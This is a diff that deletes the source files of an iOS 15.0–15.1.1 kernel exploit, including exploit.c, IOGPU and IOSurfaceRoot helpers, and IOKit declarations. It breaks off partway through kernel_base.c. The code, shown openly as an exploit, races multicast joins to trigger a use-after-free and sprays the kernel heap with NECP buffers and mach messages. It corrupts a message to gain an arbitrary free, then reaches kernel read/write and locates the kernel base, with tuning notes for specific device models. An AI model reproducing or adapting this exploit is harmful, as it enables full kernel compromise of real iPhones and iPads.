|| strstr(u.machine, "iPad7,") // iPad7,* has too many different models to list here, see theiphonewiki's "Models" page for info
|
||||
|| strstr(u.machine, "iPad12,") // iPad 9
|
||||
|| strstr(u.machine, "iPad13,") // iPad13,1-13,2 is the iPad Air 4 and 13,4-13,11 is the iPad Pro M1.
|
||||
|| strstr(u.machine, "iPad14,") // iPad Mini 6
|
||||
)
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
else if (
|
||||
strstr(u.machine, "iPhone10,") // iPhone 8, X
|
||||
|| strstr(u.machine, "iPhone11,") // iPhone XS, XR
|
||||
|| strstr(u.machine, "iPad8,") // iPad Pro A12Z
|
||||
|| strstr(u.machine, "iPad11,") // iPad 8 A12
|
||||
)
|
||||
{
|
||||
return 3;
|
||||
}
|
||||
|
||||
printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine);
|
||||
|
||||
return -1;
|
||||
}
|
|
@ -1,16 +0,0 @@
|
|||
#ifndef __IOGPU_H__
|
||||
#define __IOGPU_H__
|
||||
|
||||
#include "iokit.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
io_connect_t IOGPU_init(void);
|
||||
void IOGPU_exit(io_connect_t uc);
|
||||
|
||||
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member);
|
||||
|
||||
int IOGPU_get_command_queue_extra_refills_needed(void);
|
||||
|
||||
#endif
|
|
@ -1,124 +0,0 @@
|
|||
#include "IOSurfaceRoot.h"
|
||||
|
||||
io_connect_t IOSurfaceRoot_init(void)
|
||||
{
|
||||
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
|
||||
mach_port_t mp = MACH_PORT_NULL;
|
||||
IOMasterPort(MACH_PORT_NULL, &mp);
|
||||
io_connect_t uc;
|
||||
|
||||
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot"));
|
||||
if (s == MACH_PORT_NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return uc;
|
||||
}
|
||||
|
||||
void IOSurfaceRoot_exit(io_connect_t uc)
|
||||
{
|
||||
IOServiceClose(uc);
|
||||
}
|
||||
|
||||
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc)
|
||||
{
|
||||
// Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4
|
||||
struct _IOSurfaceFastCreateArgs {
|
||||
uint64_t address;
|
||||
uint32_t width;
|
||||
uint32_t height;
|
||||
uint32_t pixel_format;
|
||||
uint32_t bytes_per_element;
|
||||
uint32_t bytes_per_row;
|
||||
uint32_t alloc_size;
|
||||
};
|
||||
|
||||
struct IOSurfaceLockResult {
|
||||
uint8_t _pad1[0x18];
|
||||
uint32_t surface_id;
|
||||
uint8_t _pad2[0xF60-0x18-0x4];
|
||||
};
|
||||
|
||||
struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 };
|
||||
struct IOSurfaceLockResult lock_result = {0};
|
||||
uint64_t lock_result_size = sizeof(lock_result);
|
||||
|
||||
IOConnectCallMethod(
|
||||
uc,
|
||||
6,
|
||||
NULL, 0,
|
||||
&create_args, sizeof(create_args),
|
||||
NULL, NULL,
|
||||
&lock_result, (size_t *)&lock_result_size);
|
||||
|
||||
return lock_result.surface_id;
|
||||
}
|
||||
|
||||
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id)
|
||||
{
|
||||
uint64_t sz = 0xF60;
|
||||
uint8_t o[0xF60];
|
||||
uint64_t scalarInput = surf_id;
|
||||
kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz);
|
||||
return ret;
|
||||
}
|
||||
|
||||
kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id)
|
||||
{
|
||||
uint64_t scalarInput = surf_id;
|
||||
kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void IOSurfaceRoot_release_all(io_connect_t uc)
|
||||
{
|
||||
for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id)
|
||||
{
|
||||
IOSurfaceRoot_release_surface(uc, surf_id);
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id)
|
||||
{
|
||||
uint64_t scalarInput = surf_id;
|
||||
uint64_t output = 0;
|
||||
uint64_t outputCnt = 1;
|
||||
IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0);
|
||||
|
||||
return (uint32_t)output;
|
||||
}
|
||||
|
||||
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile)
|
||||
{
|
||||
uint64_t scalarInput[3];
|
||||
|
||||
scalarInput[0] = surf_id;
|
||||
scalarInput[1] = 0;
|
||||
scalarInput[2] = tile;
|
||||
|
||||
IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0);
|
||||
}
|
||||
|
||||
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void)
|
||||
{
|
||||
for (int i = 0; i < 4; ++i)
|
||||
{
|
||||
io_connect_t uc = IOSurfaceRoot_init();
|
||||
for (int i = 0; i < 0xf00; ++i)
|
||||
{
|
||||
uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc);
|
||||
if (0x3400 <= (last_id * sizeof(uint64_t)))
|
||||
{
|
||||
return last_id;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
|
@ -1,25 +0,0 @@
|
|||
#ifndef __IOSURFACEROOT_H__
|
||||
#define __IOSURFACEROOT_H__
|
||||
|
||||
#include "iokit.h"
|
||||
|
||||
#include <IOSurface/IOSurfaceRef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
io_connect_t IOSurfaceRoot_init(void);
|
||||
void IOSurfaceRoot_exit(io_connect_t uc);
|
||||
|
||||
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc);
|
||||
|
||||
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id);
|
||||
|
||||
int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id);
|
||||
void IOSurfaceRoot_release_all(io_connect_t uc);
|
||||
|
||||
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id);
|
||||
|
||||
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile);
|
||||
|
||||
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void);
|
||||
|
||||
#endif
|
|
@ -1,335 +0,0 @@
|
|||
#include "exploit.h"
|
||||
|
||||
#include "iokit.h"
|
||||
#include "IOGPU.h"
|
||||
#include "IOSurfaceRoot.h"
|
||||
#include "kernel_rw.h"
|
||||
#include "kernel_base.h"
|
||||
#include "mcast.h"
|
||||
#include "necp.h"
|
||||
#include "port_utils.h"
|
||||
#include "spray.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
||||
|
||||
#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device
|
||||
#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device
|
||||
#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted)
|
||||
#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX)
|
||||
#define BYTECOPY_OFFSET_IPV6 0x28
|
||||
#define PORTS_COUNT 0x2A00
|
||||
#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)
|
||||
#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664
|
||||
|
||||
mach_port_t notif_port = MACH_PORT_NULL;
|
||||
mach_port_t *kheap_default_ports = NULL;
|
||||
uint8_t *IOSurfaceClient_array_buf = NULL;
|
||||
mach_port_t *kheap_data_ports = NULL;
|
||||
int kheap_data_idx = -1;
|
||||
int extra_frees_for_device = -1;
|
||||
io_connect_t iogpu_connect = MACH_PORT_NULL;
|
||||
|
||||
mach_port_t get_arb_free_holder(void)
|
||||
{
|
||||
int success = 0;
|
||||
|
||||
// reliability voodoo
|
||||
for (int i = 0; i < 3; ++i)
|
||||
{
|
||||
mcast_increase_race_reliability();
|
||||
printf("Increase reliability...\n");
|
||||
}
|
||||
|
||||
// more reliability voodoo
|
||||
pthread_attr_t pattr;
|
||||
pthread_attr_init(&pattr);
|
||||
pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
|
||||
|
||||
// initialize refill buffer, putting the target for the bytecopy primitive there
|
||||
uint8_t *necp_buf = malloc(4096);
|
||||
*(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET;
|
||||
|
||||
printf("Start (will fail if device has not been rebooted since last run)\n");
|
||||
kheap_data_idx = -1;
|
||||
for (int iterations = 0; iterations < 255; ++iterations)
|
||||
{
|
||||
pthread_t pt1;
|
||||
pthread_t pt2;
|
||||
int s = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
int necp_fd = necp_open(0);
|
||||
|
||||
mcast_race_sock = s;
|
||||
|
||||
// grow the buffer on which the UaF will be triggered to default.kalloc.1664 and
|
||||
// put it at its max size before next realloc will occur
|
||||
int ip = 0;
|
||||
for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip)
|
||||
{
|
||||
mcast_join_group(ip);
|
||||
}
|
||||
|
||||
// trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful
|
||||
pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip);
|
||||
pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1));
|
||||
|
||||
// refill the UaF buffer in default.kalloc.1664 during the race
|
||||
for (int i = 0; i < 10; ++i)
|
||||
{
|
||||
spray_default_kalloc_necp(necp_fd, necp_buf, 0x318);
|
||||
}
|
||||
|
||||
// synchronize
|
||||
pthread_join(pt1, NULL);
|
||||
pthread_join(pt2, NULL);
|
||||
|
||||
// find out if the refill succeeded, in which case a corrupted trailer size will be returned
|
||||
// for the holder of the corrupted kmsg, which has also had its message bits corrupted
|
||||
// (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set)
|
||||
{
|
||||
for (int i = 0; i < PORTS_COUNT; ++i)
|
||||
{
|
||||
int sz = port_peek_trailer_size(kheap_data_ports[i]);
|
||||
if (sz != 8)
|
||||
{
|
||||
printf("kheap_data_idx: %08X\n", i);
|
||||
kheap_data_idx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (kheap_data_idx != -1)
|
||||
{
|
||||
success = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
close(s);
|
||||
printf("iteration %d\n", iterations);
|
||||
}
|
||||
|
||||
if (!success)
|
||||
{
|
||||
printf("Failed! Run exploit only once per boot\n");
|
||||
printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
free(necp_buf);
|
||||
|
||||
return kheap_data_ports[kheap_data_idx];
|
||||
}
|
||||
|
||||
int exploitation_init(void)
|
||||
{
|
||||
// different by device, retrieve it first and fail if unsuccessful
|
||||
extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();
|
||||
if (extra_frees_for_device == -1)
|
||||
{
|
||||
printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
|
||||
kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
|
||||
mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
|
||||
mach_port_t *ool_ports = malloc(0x4000);
|
||||
uint8_t *kheap_data_spray_buf = malloc(0x4000);
|
||||
memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
|
||||
memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
|
||||
memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
|
||||
memset(ool_ports, 0, 0x4000);
|
||||
memset(kheap_data_spray_buf, 0, 0x4000);
|
||||
|
||||
// initialize the inline data
|
||||
|
||||
// fake descriptor for free primitive
|
||||
*(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;
|
||||
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target
|
||||
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc
|
||||
// align a pointer here so that when the kmsg trailer size is corrupted, this pointer
|
||||
// will after that be followed and a second bytecopy performed where it points (kmsg message bits)
|
||||
*(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET;
|
||||
|
||||
// spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC
|
||||
for (int i = 0; i < PORTS_COUNT; ++i)
|
||||
{
|
||||
// KHEAP_DEFAULT
|
||||
*ool_ports = port_new();
|
||||
contained_ports[i] = *ool_ports;
|
||||
mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);
|
||||
kheap_default_ports[i] = pp[0];
|
||||
free(pp);
|
||||
|
||||
// KHEAP_DATA_BUFFERS
|
||||
kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);
|
||||
}
|
||||
|
||||
notif_port = port_new();
|
||||
for (int i = 0; i < PORTS_COUNT; ++i)
|
||||
{
|
||||
mach_port_t prev;
|
||||
mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev);
|
||||
mach_port_deallocate(mach_task_self(), contained_ports[i]);
|
||||
}
|
||||
|
||||
// pre-init kernel rw
|
||||
IOSurfaceClient_array_buf = malloc(0x4000);
|
||||
kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000);
|
||||
|
||||
free(contained_ports);
|
||||
free(ool_ports);
|
||||
free(kheap_data_spray_buf);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)
|
||||
{
|
||||
uint8_t msg_buf[0x100];
|
||||
int fildes[2];
|
||||
pipe(fildes);
|
||||
int read_pipe = fildes[0];
|
||||
int write_pipe = fildes[1];
|
||||
|
||||
// alloc this one before array of IOSurfaceClients becomes 0x4000
|
||||
io_connect_t iosurface_connect_krw = IOSurfaceRoot_init();
|
||||
|
||||
// cause max size of arrays of IOSurfaceClients to become 0x4000
|
||||
uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000();
|
||||
|
||||
// trigger arbitrary free in kheap default
|
||||
port_destroy(arb_free_holder);
|
||||
|
||||
// do refill in kheap default
|
||||
IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id);
|
||||
// NULL out array
|
||||
IOSurfaceRoot_release_all(iosurface_connect_krw);
|
||||
|
||||
// find allocation at KHEAP_DEFAULT_MAPPABLE_LOC
|
||||
int kheap_default_idx = -1;
|
||||
for (uint32_t i = 0;
|
||||
(i < PORTS_COUNT) && port_has_msg(notif_port);
|
||||
i++)
|
||||
{
|
||||
port_receive_msg(notif_port, msg_buf, sizeof(msg_buf));
|
||||
|
||||
port_destroy(kheap_default_ports[i]);
|
||||
|
||||
kheap_default_idx = i;
|
||||
}
|
||||
|
||||
// Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC
|
||||
// has been free'd and will be refilled below
|
||||
|
||||
// printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n");
|
||||
|
||||
if (kheap_default_idx >= PORTS_COUNT)
|
||||
{
|
||||
printf("kheap_default_idx >= PORTS_COUNT\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// extra frees
|
||||
for (int i = 0; i < extra_frees_for_device; ++i)
|
||||
{
|
||||
port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]);
|
||||
}
|
||||
|
||||
// do refill
|
||||
iogpu_connect = IOGPU_init();
|
||||
// add entry
|
||||
IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10);
|
||||
|
||||
printf("kheap_default_idx: %08X\n", kheap_default_idx);
|
||||
|
||||
// refill in kheap data
|
||||
port_destroy(kheap_data_ports[kheap_data_idx-1]);
|
||||
write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
|
||||
|
||||
kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe);
|
||||
|
||||
kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED);
|
||||
uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC);
|
||||
printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result);
|
||||
if (result != 0xFEED)
|
||||
{
|
||||
printf("Failed! Reboot to try again (remember to only run once per boot)\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Get kernel base...\n");
|
||||
|
||||
*kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000);
|
||||
printf("Got kernel base: %p\n", (void *)*kernel_base);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void exploitation_cleanup(void)
|
||||
{
|
||||
uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8);
|
||||
uint64_t parent_loc = kread64(command_queue_loc + 0x488);
|
||||
uint64_t namespace_loc = kread64(parent_loc + 0x88);
|
||||
|
||||
// bump refs
|
||||
kwrite32(command_queue_loc + 0x8, 10);
|
||||
kwrite32(namespace_loc + 0x8, 10);
|
||||
|
||||
IOServiceClose(iogpu_connect);
|
||||
}
|
||||
|
||||
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base)
|
||||
{
|
||||
uint64_t _kernel_base = 0;
|
||||
|
||||
// generic exploitation init
|
||||
if (exploitation_init() != 0)
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
// trigger bug, get arbitrary free
|
||||
mach_port_t arb_free_holder = get_arb_free_holder();
|
||||
|
||||
// generic exploitation using arbitrary free
|
||||
exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base);
|
||||
|
||||
// generic exploitation cleanup (kernel r/w still active)
|
||||
//exploitation_cleanup();
|
||||
|
||||
*kernel_base = _kernel_base;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int exploit_go(void)
|
||||
{
|
||||
uint64_t kernel_base = 0;
|
||||
|
||||
if (exploit_get_krw_and_kernel_base(&kernel_base) != 0)
|
||||
{
|
||||
printf("Exploit failed!\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// test kernel r/w, read kernel base
|
||||
uint32_t mh_magic = kread32(kernel_base);
|
||||
if (mh_magic != 0xFEEDFACF)
|
||||
{
|
||||
printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("kread32(_kernel_base) success: %08X\n", mh_magic);
|
||||
|
||||
printf("Done\n");
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,9 +0,0 @@
|
|||
#ifndef __EXPLOIT_H__
|
||||
#define __EXPLOIT_H__
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base);
|
||||
void exploitation_cleanup(void);
|
||||
|
||||
#endif
|
|
@ -1,120 +0,0 @@
|
|||
// Credits: Siguza
|
||||
// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h
|
||||
#ifndef IOKIT_H
|
||||
#define IOKIT_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <mach/mach.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
typedef char io_name_t[128];
|
||||
typedef char io_string_t[512];
|
||||
typedef char io_struct_inband_t[4096];
|
||||
typedef mach_port_t io_object_t;
|
||||
typedef io_object_t io_registry_entry_t;
|
||||
typedef io_object_t io_service_t;
|
||||
typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
|
||||
enum
|
||||
{
|
||||
kIOCFSerializeToBinary = 0x00000001U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kIOClassNameOverrideNone = 0x00000001U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kIOMapAnywhere = 0x00000001U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kIORegistryIterateRecursively = 0x00000001U,
|
||||
kIORegistryIterateParents = 0x00000002U,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
kOSSerializeDictionary = 0x01000000U,
|
||||
kOSSerializeArray = 0x02000000U,
|
||||
kOSSerializeSet = 0x03000000U,
|
||||
kOSSerializeNumber = 0x04000000U,
|
||||
kOSSerializeSymbol = 0x08000000U,
|
||||
kOSSerializeString = 0x09000000U,
|
||||
kOSSerializeData = 0x0a000000U,
|
||||
kOSSerializeBoolean = 0x0b000000U,
|
||||
kOSSerializeObject = 0x0c000000U,
|
||||
|
||||
kOSSerializeTypeMask = 0x7F000000U,
|
||||
kOSSerializeDataMask = 0x00FFFFFFU,
|
||||
|
||||
kOSSerializeEndCollection = 0x80000000U,
|
||||
|
||||
kOSSerializeMagic = 0x000000d3U,
|
||||
};
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
|
||||
CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);
|
||||
CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err);
|
||||
|
||||
kern_return_t IOObjectRetain(io_object_t object);
|
||||
kern_return_t IOObjectRelease(io_object_t object);
|
||||
boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name);
|
||||
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
|
||||
kern_return_t IOObjectGetClass(io_object_t object, io_name_t name);
|
||||
kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name);
|
||||
CFStringRef IOObjectCopyClass(io_object_t object);
|
||||
CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options);
|
||||
CFStringRef IOObjectCopySuperclassForClass(CFStringRef name);
|
||||
CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name);
|
||||
|
||||
io_registry_entry_t IORegistryGetRootEntry(mach_port_t master);
|
||||
io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path);
|
||||
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
|
||||
kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID);
|
||||
kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path);
|
||||
kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size);
|
||||
kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options);
|
||||
CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options);
|
||||
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);
|
||||
|
||||
kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it);
|
||||
kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it);
|
||||
kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
|
||||
kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
|
||||
io_object_t IOIteratorNext(io_iterator_t it);
|
||||
boolean_t IOIteratorIsValid(io_iterator_t it);
|
||||
void IOIteratorReset(io_iterator_t it);
|
||||
|
||||
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
|
||||
CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED;
|
||||
io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
|
||||
kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it);
|
||||
kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID);
|
||||
kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID);
|
||||
kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime);
|
||||
kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);
|
||||
kern_return_t IOServiceClose(io_connect_t client);
|
||||
kern_return_t IOCloseConnection(io_connect_t client);
|
||||
kern_return_t IOConnectAddRef(io_connect_t client);
|
||||
kern_return_t IOConnectRelease(io_connect_t client);
|
||||
kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service);
|
||||
kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other);
|
||||
kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref);
|
||||
kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options);
|
||||
kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr);
|
||||
kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties);
|
||||
kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
|
||||
kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
|
||||
kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
|
||||
kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
|
||||
kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
|
||||
kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
|
||||
kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f);
|
||||
|
||||
#endif
|
|
@ -1,98 +0,0 @@
|
|||
#include "kernel_base.h"
|
||||
|
||||
#include "kernel_rw.h"
|
||||
#include "port_utils.h"
|
||||
#include "spray.h"
|
||||
#include "xpaci.h" // ptrauth.h replacement
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/utsname.h>
|
||||
#import <sys/sysctl.h>
|
||||
|
||||
extern void badLog(const char*, ...);
|
||||
|
||||
uint64_t g_self_proc = 0;
|
||||
|
||||
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall
|
||||
|
||||
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr)
|
||||
{
|
||||
uint64_t kernel_base = 0;
|
||||
const int receive_size = 0x10000; // Doesn't really matter
|
||||
const int data_kalloc_size = 0x50; // Doesn't really matter
|
||||
uint8_t *buf = calloc(1, receive_size);
|
